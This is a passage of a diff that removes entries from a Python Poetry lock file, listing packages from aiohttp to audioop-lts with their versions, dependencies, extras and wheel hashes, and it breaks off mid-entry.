-python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "aiohttp-3.12.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b6fc902bff74d9b1879ad55f5404153e2b33a82e72a95c89cec5eb6cc9e92fbc"}, - {file = "aiohttp-3.12.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:098e92835b8119b54c693f2f88a1dec690e20798ca5f5fe5f0520245253ee0af"}, - {file = "aiohttp-3.12.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:40b3fee496a47c3b4a39a731954c06f0bd9bd3e8258c059a4beb76ac23f8e421"}, - {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2ce13fcfb0bb2f259fb42106cdc63fa5515fb85b7e87177267d89a771a660b79"}, - {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3beb14f053222b391bf9cf92ae82e0171067cc9c8f52453a0f1ec7c37df12a77"}, - {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4c39e87afe48aa3e814cac5f535bc6199180a53e38d3f51c5e2530f5aa4ec58c"}, - {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5f1b4ce5bc528a6ee38dbf5f39bbf11dd127048726323b72b8e85769319ffc4"}, - {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1004e67962efabbaf3f03b11b4c43b834081c9e3f9b32b16a7d97d4708a9abe6"}, - {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8faa08fcc2e411f7ab91d1541d9d597d3a90e9004180edb2072238c085eac8c2"}, - {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:fe086edf38b2222328cdf89af0dde2439ee173b8ad7cb659b4e4c6f385b2be3d"}, - {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:79b26fe467219add81d5e47b4a4ba0f2394e8b7c7c3198ed36609f9ba161aecb"}, - {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b761bac1192ef24e16706d761aefcb581438b34b13a2f069a6d343ec8fb693a5"}, - {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e153e8adacfe2af562861b72f8bc47f8a5c08e010ac94eebbe33dc21d677cd5b"}, - {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:fc49c4de44977aa8601a00edbf157e9a421f227aa7eb477d9e3df48343311065"}, - {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:2776c7ec89c54a47029940177e75c8c07c29c66f73464784971d6a81904ce9d1"}, - {file = "aiohttp-3.12.15-cp310-cp310-win32.whl", hash = "sha256:2c7d81a277fa78b2203ab626ced1487420e8c11a8e373707ab72d189fcdad20a"}, - {file = "aiohttp-3.12.15-cp310-cp310-win_amd64.whl", hash = "sha256:83603f881e11f0f710f8e2327817c82e79431ec976448839f3cd05d7afe8f830"}, - {file = "aiohttp-3.12.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d3ce17ce0220383a0f9ea07175eeaa6aa13ae5a41f30bc61d84df17f0e9b1117"}, - {file = "aiohttp-3.12.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:010cc9bbd06db80fe234d9003f67e97a10fe003bfbedb40da7d71c1008eda0fe"}, - {file = "aiohttp-3.12.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3f9d7c55b41ed687b9d7165b17672340187f87a773c98236c987f08c858145a9"}, - {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc4fbc61bb3548d3b482f9ac7ddd0f18c67e4225aaa4e8552b9f1ac7e6bda9e5"}, - {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7fbc8a7c410bb3ad5d595bb7118147dfbb6449d862cc1125cf8867cb337e8728"}, - {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:74dad41b3458dbb0511e760fb355bb0b6689e0630de8a22b1b62a98777136e16"}, - {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b6f0af863cf17e6222b1735a756d664159e58855da99cfe965134a3ff63b0b0"}, - {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5b7fe4972d48a4da367043b8e023fb70a04d1490aa7d68800e465d1b97e493b"}, - {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6443cca89553b7a5485331bc9bedb2342b08d073fa10b8c7d1c60579c4a7b9bd"}, - {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c5f40ec615e5264f44b4282ee27628cea221fcad52f27405b80abb346d9f3f8"}, - {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:2abbb216a1d3a2fe86dbd2edce20cdc5e9ad0be6378455b05ec7f77361b3ab50"}, - {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:db71ce547012a5420a39c1b744d485cfb823564d01d5d20805977f5ea1345676"}, - {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:ced339d7c9b5030abad5854aa5413a77565e5b6e6248ff927d3e174baf3badf7"}, - {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:7c7dd29c7b5bda137464dc9bfc738d7ceea46ff70309859ffde8c022e9b08ba7"}, - {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:421da6fd326460517873274875c6c5a18ff225b40da2616083c5a34a7570b685"}, - {file = "aiohttp-3.12.15-cp311-cp311-win32.whl", hash = "sha256:4420cf9d179ec8dfe4be10e7d0fe47d6d606485512ea2265b0d8c5113372771b"}, - {file = "aiohttp-3.12.15-cp311-cp311-win_amd64.whl", hash = "sha256:edd533a07da85baa4b423ee8839e3e91681c7bfa19b04260a469ee94b778bf6d"}, - {file = "aiohttp-3.12.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:802d3868f5776e28f7bf69d349c26fc0efadb81676d0afa88ed00d98a26340b7"}, - {file = "aiohttp-3.12.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f2800614cd560287be05e33a679638e586a2d7401f4ddf99e304d98878c29444"}, - {file = "aiohttp-3.12.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8466151554b593909d30a0a125d638b4e5f3836e5aecde85b66b80ded1cb5b0d"}, - {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e5a495cb1be69dae4b08f35a6c4579c539e9b5706f606632102c0f855bcba7c"}, - {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6404dfc8cdde35c69aaa489bb3542fb86ef215fc70277c892be8af540e5e21c0"}, - {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3ead1c00f8521a5c9070fcb88f02967b1d8a0544e6d85c253f6968b785e1a2ab"}, - {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6990ef617f14450bc6b34941dba4f12d5613cbf4e33805932f853fbd1cf18bfb"}, - {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd736ed420f4db2b8148b52b46b88ed038d0354255f9a73196b7bbce3ea97545"}, - {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c5092ce14361a73086b90c6efb3948ffa5be2f5b6fbcf52e8d8c8b8848bb97c"}, - {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:aaa2234bb60c4dbf82893e934d8ee8dea30446f0647e024074237a56a08c01bd"}, - {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6d86a2fbdd14192e2f234a92d3b494dd4457e683ba07e5905a0b3ee25389ac9f"}, - {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a041e7e2612041a6ddf1c6a33b883be6a421247c7afd47e885969ee4cc58bd8d"}, - {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5015082477abeafad7203757ae44299a610e89ee82a1503e3d4184e6bafdd519"}, - {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:56822ff5ddfd1b745534e658faba944012346184fbfe732e0d6134b744516eea"}, - {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b2acbbfff69019d9014508c4ba0401822e8bae5a5fdc3b6814285b71231b60f3"}, - {file = "aiohttp-3.12.15-cp312-cp312-win32.whl", hash = "sha256:d849b0901b50f2185874b9a232f38e26b9b3d4810095a7572eacea939132d4e1"}, - {file = "aiohttp-3.12.15-cp312-cp312-win_amd64.whl", hash = "sha256:b390ef5f62bb508a9d67cb3bba9b8356e23b3996da7062f1a57ce1a79d2b3d34"}, - {file = "aiohttp-3.12.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9f922ffd05034d439dde1c77a20461cf4a1b0831e6caa26151fe7aa8aaebc315"}, - {file = "aiohttp-3.12.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2ee8a8ac39ce45f3e55663891d4b1d15598c157b4d494a4613e704c8b43112cd"}, - {file = "aiohttp-3.12.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3eae49032c29d356b94eee45a3f39fdf4b0814b397638c2f718e96cfadf4c4e4"}, - {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b97752ff12cc12f46a9b20327104448042fce5c33a624f88c18f66f9368091c7"}, - {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:894261472691d6fe76ebb7fcf2e5870a2ac284c7406ddc95823c8598a1390f0d"}, - {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5fa5d9eb82ce98959fc1031c28198b431b4d9396894f385cb63f1e2f3f20ca6b"}, - {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f0fa751efb11a541f57db59c1dd821bec09031e01452b2b6217319b3a1f34f3d"}, - {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5346b93e62ab51ee2a9d68e8f73c7cf96ffb73568a23e683f931e52450e4148d"}, - {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:049ec0360f939cd164ecbfd2873eaa432613d5e77d6b04535e3d1fbae5a9e645"}, - {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b52dcf013b57464b6d1e51b627adfd69a8053e84b7103a7cd49c030f9ca44461"}, - {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:9b2af240143dd2765e0fb661fd0361a1b469cab235039ea57663cda087250ea9"}, - {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ac77f709a2cde2cc71257ab2d8c74dd157c67a0558a0d2799d5d571b4c63d44d"}, - {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:47f6b962246f0a774fbd3b6b7be25d59b06fdb2f164cf2513097998fc6a29693"}, - {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:760fb7db442f284996e39cf9915a94492e1896baac44f06ae551974907922b64"}, - {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ad702e57dc385cae679c39d318def49aef754455f237499d5b99bea4ef582e51"}, - {file = "aiohttp-3.12.15-cp313-cp313-win32.whl", hash = "sha256:f813c3e9032331024de2eb2e32a88d86afb69291fbc37a3a3ae81cc9917fb3d0"}, - {file = "aiohttp-3.12.15-cp313-cp313-win_amd64.whl", hash = "sha256:1a649001580bdb37c6fdb1bebbd7e3bc688e8ec2b5c6f52edbb664662b17dc84"}, - {file = "aiohttp-3.12.15-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:691d203c2bdf4f4637792efbbcdcd157ae11e55eaeb5e9c360c1206fb03d4d98"}, - {file = "aiohttp-3.12.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8e995e1abc4ed2a454c731385bf4082be06f875822adc4c6d9eaadf96e20d406"}, - {file = "aiohttp-3.12.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bd44d5936ab3193c617bfd6c9a7d8d1085a8dc8c3f44d5f1dcf554d17d04cf7d"}, - {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46749be6e89cd78d6068cdf7da51dbcfa4321147ab8e4116ee6678d9a056a0cf"}, - {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0c643f4d75adea39e92c0f01b3fb83d57abdec8c9279b3078b68a3a52b3933b6"}, - {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0a23918fedc05806966a2438489dcffccbdf83e921a1170773b6178d04ade142"}, - {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:74bdd8c864b36c3673741023343565d95bfbd778ffe1eb4d412c135a28a8dc89"}, - {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a146708808c9b7a988a4af3821379e379e0f0e5e466ca31a73dbdd0325b0263"}, - {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b7011a70b56facde58d6d26da4fec3280cc8e2a78c714c96b7a01a87930a9530"}, - {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3bdd6e17e16e1dbd3db74d7f989e8af29c4d2e025f9828e6ef45fbdee158ec75"}, - {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:57d16590a351dfc914670bd72530fd78344b885a00b250e992faea565b7fdc05"}, - {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:bc9a0f6569ff990e0bbd75506c8d8fe7214c8f6579cca32f0546e54372a3bb54"}, - {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:536ad7234747a37e50e7b6794ea868833d5220b49c92806ae2d7e8a9d6b5de02"}, - {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f0adb4177fa748072546fb650d9bd7398caaf0e15b370ed3317280b13f4083b0"}, - {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:14954a2988feae3987f1eb49c706bff39947605f4b6fa4027c1d75743723eb09"}, - {file = "aiohttp-3.12.15-cp39-cp39-win32.whl", hash = "sha256:b784d6ed757f27574dca1c336f968f4e81130b27595e458e69457e6878251f5d"}, - {file = "aiohttp-3.12.15-cp39-cp39-win_amd64.whl", hash = "sha256:86ceded4e78a992f835209e236617bffae649371c4a50d5e5a3987f237db84b8"}, - {file = "aiohttp-3.12.15.tar.gz", hash = "sha256:4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2"}, -] - -[package.dependencies] -aiohappyeyeballs = ">=2.5.0" -aiosignal = ">=1.4.0" -attrs = ">=17.3.0" -frozenlist = ">=1.1.1" -multidict = ">=4.5,<7.0" -propcache = ">=0.2.0" -yarl = ">=1.17.0,<2.0" - -[package.extras] -speedups = ["Brotli", "aiodns (>=3.3.0)", "brotlicffi"] - -[[package]] -name = "aiosignal" -version = "1.4.0" -description = "aiosignal: a list of registered asynchronous callbacks" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e"}, - {file = "aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7"}, -] - -[package.dependencies] -frozenlist = ">=1.1.0" -typing-extensions = {version = ">=4.2", markers = "python_version < \"3.13\""} - -[[package]] -name = "alabaster" -version = "1.0.0" -description = "A light, configurable Sphinx theme" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "alabaster-1.0.0-py3-none-any.whl", hash = "sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b"}, - {file = "alabaster-1.0.0.tar.gz", hash = "sha256:c00dca57bca26fa62a6d7d0a9fcce65f3e026e9bfe33e9c538fd3fbb2144fd9e"}, -] - -[[package]] -name = "annotated-types" -version = "0.7.0" -description = "Reusable constraint types to use with typing.Annotated" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, - {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, -] - -[[package]] -name = "anyio" -version = "4.10.0" -description = "High-level concurrency and networking framework on top of asyncio or Trio" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "anyio-4.10.0-py3-none-any.whl", hash = "sha256:60e474ac86736bbfd6f210f7a61218939c318f43f9972497381f1c5e930ed3d1"}, - {file = "anyio-4.10.0.tar.gz", hash = "sha256:3f3fae35c96039744587aa5b8371e7e8e603c0702999535961dd336026973ba6"}, -] - -[package.dependencies] -idna = ">=2.8" -sniffio = ">=1.1" -typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} - -[package.extras] -trio = ["trio (>=0.26.1)"] - -[[package]] -name = "apscheduler" -version = "3.11.0" -description = "In-process task scheduler with Cron-like capabilities" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "APScheduler-3.11.0-py3-none-any.whl", hash = "sha256:fc134ca32e50f5eadcc4938e3a4545ab19131435e851abb40b34d63d5141c6da"}, - {file = "apscheduler-3.11.0.tar.gz", hash = "sha256:4c622d250b0955a65d5d0eb91c33e6d43fd879834bf541e0a18661ae60460133"}, -] - -[package.dependencies] -tzlocal = ">=3.0" - -[package.extras] -doc = ["packaging", "sphinx", "sphinx-rtd-theme (>=1.3.0)"] -etcd = ["etcd3", "protobuf (<=3.21.0)"] -gevent = ["gevent"] -mongodb = ["pymongo (>=3.0)"] -redis = ["redis (>=3.0)"] -rethinkdb = ["rethinkdb (>=2.4.0)"] -sqlalchemy = ["sqlalchemy (>=1.4)"] -test = ["APScheduler[etcd,mongodb,redis,rethinkdb,sqlalchemy,tornado,zookeeper]", "PySide6", "anyio (>=4.5.2)", "gevent", "pytest", "pytz", "twisted"] -tornado = ["tornado (>=4.3)"] -twisted = ["twisted"] -zookeeper = ["kazoo"] - -[[package]] -name = "astroid" -version = "3.3.11" -description = "An abstract syntax tree for Python with inference support." -optional = false -python-versions = ">=3.9.0" -groups = ["dev"] -files = [ - {file = "astroid-3.3.11-py3-none-any.whl", hash = "sha256:54c760ae8322ece1abd213057c4b5bba7c49818853fc901ef09719a60dbf9dec"}, - {file = "astroid-3.3.11.tar.gz", hash = "sha256:1e5a5011af2920c7c67a53f65d536d65bfa7116feeaf2354d8b94f29573bb0ce"}, -] - -[[package]] -name = "asttokens" -version = "3.0.0" -description = "Annotate AST trees with source code positions" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "asttokens-3.0.0-py3-none-any.whl", hash = "sha256:e3078351a059199dd5138cb1c706e6430c05eff2ff136af5eb4790f9d28932e2"}, - {file = "asttokens-3.0.0.tar.gz", hash = "sha256:0dcd8baa8d62b0c1d118b399b2ddba3c4aff271d0d7a9e0d4c1681c79035bbc7"}, -] - -[package.extras] -astroid = ["astroid (>=2,<4)"] -test = ["astroid (>=2,<4)", "pytest", "pytest-cov", "pytest-xdist"] - -[[package]] -name = "attrs" -version = "25.3.0" -description = "Classes Without Boilerplate" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "attrs-25.3.0-py3-none-any.whl", hash = "sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3"}, - {file = "attrs-25.3.0.tar.gz", hash = "sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b"}, -] - -[package.extras] -benchmark = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-codspeed", "pytest-mypy-plugins", "pytest-xdist[psutil]"] -cov = ["cloudpickle", "coverage[toml] (>=5.3)", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] -dev = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pre-commit-uv", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] -docs = ["cogapp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier"] -tests = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] -tests-mypy = ["mypy (>=1.11.1)", "pytest-mypy-plugins"] - -[[package]] -name = "audioop-lts" -version = "0.2.2" -description = "LTS Port of Python audioop" -optional = false -python-versions = ">=3.13" -groups = ["main"] -markers = "python_version >= \"3.13\"" -files = [ - {file = "audioop_lts-0.2.2-cp313-abi3-macosx_10_13_universal2.whl", hash = "sha256:fd3d4602dc64914d462924a08c1a9816435a2155d74f325853c1f1ac3b2d9800"}, - {file = "audioop_lts-0.2.2-cp313-abi3-macosx_10_13_x86_64.whl", hash = "sha256:550c114a8df0aafe9a05442a1162dfc8fec37e9af1d625ae6060fed6e756f303"}, - {file = "audioop_lts-0.2.2-cp313-abi3-macosx_11_0_arm64.whl", hash = "sha256:9a13dc409f2564de15dd68be65b462ba0dde01b19663720c68c1140c782d1d75"}, - {file = "audioop_lts-0.2.2-cp313-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:51c916108c56aa6e426ce611946f901badac950ee2ddaf302b7ed35d9958970d"}, - {file = "audioop_lts-0.2.2-cp313-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:47eba38322370347b1c47024defbd36374a211e8dd5b0dcbce7b34fdb6f8847b"}, - {file = "audioop_lts-0.2.2-cp313-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba7c3a7e5f23e215cb271516197030c32aef2e754252c4c70a50aaff7031a2c8"}, - {file = "audioop_lts-0.2.2-cp313-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:def246fe9e180626731b26e89816e79aae2276f825420a07b4a647abaa84becc"}, - {file = "audioop_lts-0.2.2-cp313-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e160bf9df356d841bb6c180eeeea1834085464626dc1b68fa4e1d59070affdc3"}, - {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:4b4cd51a57b698b2d06cb9993b7ac8dfe89a3b2878e96bc7948e9f19ff51dba6"}, - {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:4a53aa7c16a60a6857e6b0b165261436396ef7293f8b5c9c828a3a203147ed4a"}, - {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:3fc38008969796f0f689f1453722a0f463da1b8a6fbee11987830bfbb664f623"}, - {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_s390x.whl", hash = "sha256:15ab25dd3e620790f40e9ead897f91e79c0d3ce65fe193c8ed6c26cffdd24be7"}, - {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:03f061a1915538fd96272bac9551841859dbb2e3bf73ebe4a23ef043766f5449"}, - {file = "audioop_lts-0.2.2-cp313-abi3-win32.whl", hash = "sha256:3bcddaaf6cc5935a300a8387c99f7a7fbbe212a11568ec6cf6e4bc458c048636"}, - {file = "audioop_lts-0.2.2-cp313-abi3-win_amd64.whl", hash = "sha256:a2c2a947fae7d1062ef08c4e369e0ba2086049a5e598fda41122535557012e9e"}, - {file = "audioop_lts-0.2.2-cp313-abi3-win_arm64.whl", hash = "sha256:5f93a5db13927a37d2d09637ccca4b2b6b48c19cd9eda7b17a2e9f77edee6a6f"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:73f80bf4cd5d2ca7814da30a120de1f9408ee0619cc75da87d0641273d202a09"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:106753a83a25ee4d6f473f2be6b0966fc1c9af7e0017192f5531a3e7463dce58"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:fbdd522624141e40948ab3e8cdae6e04c748d78710e9f0f8d4dae2750831de19"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:143fad0311e8209ece30a8dbddab3b65ab419cbe8c0dde6e8828da25999be911"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dfbbc74ec68a0fd08cfec1f4b5e8cca3d3cd7de5501b01c4b5d209995033cde9"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cfcac6aa6f42397471e4943e0feb2244549db5c5d01efcd02725b96af417f3fe"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:752d76472d9804ac60f0078c79cdae8b956f293177acd2316cd1e15149aee132"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:83c381767e2cc10e93e40281a04852facc4cd9334550e0f392f72d1c0a9c5753"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c0022283e9556e0f3643b7c3c03f05063ca72b3063291834cca43234f20c60bb"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a2d4f1513d63c795e82948e1305f31a6d530626e5f9f2605408b300ae6095093"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:c9c8e68d8b4a56fda8c025e538e639f8c5953f5073886b596c93ec9b620055e7"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:96f19de485a2925314f5020e85911fb447ff5fbef56e8c7c6927851b95533a1c"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e541c3ef484852ef36545f66209444c48b28661e864ccadb29daddb6a4b8e5f5"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-win32.whl", hash = "sha256:d5e73fa573e273e4f2e5ff96f9043858a5e9311e94ffefd88a3186a910c70917"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:9191d68659eda01e448188f60364c7763a7ca6653ed3f87ebb165822153a8547"}, - {file = "audioop_lts-0.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:c174e322bb5783c099aaf87faeb240c8d210686b04bd61dfd05a8e5a83d88969"}, - {file = 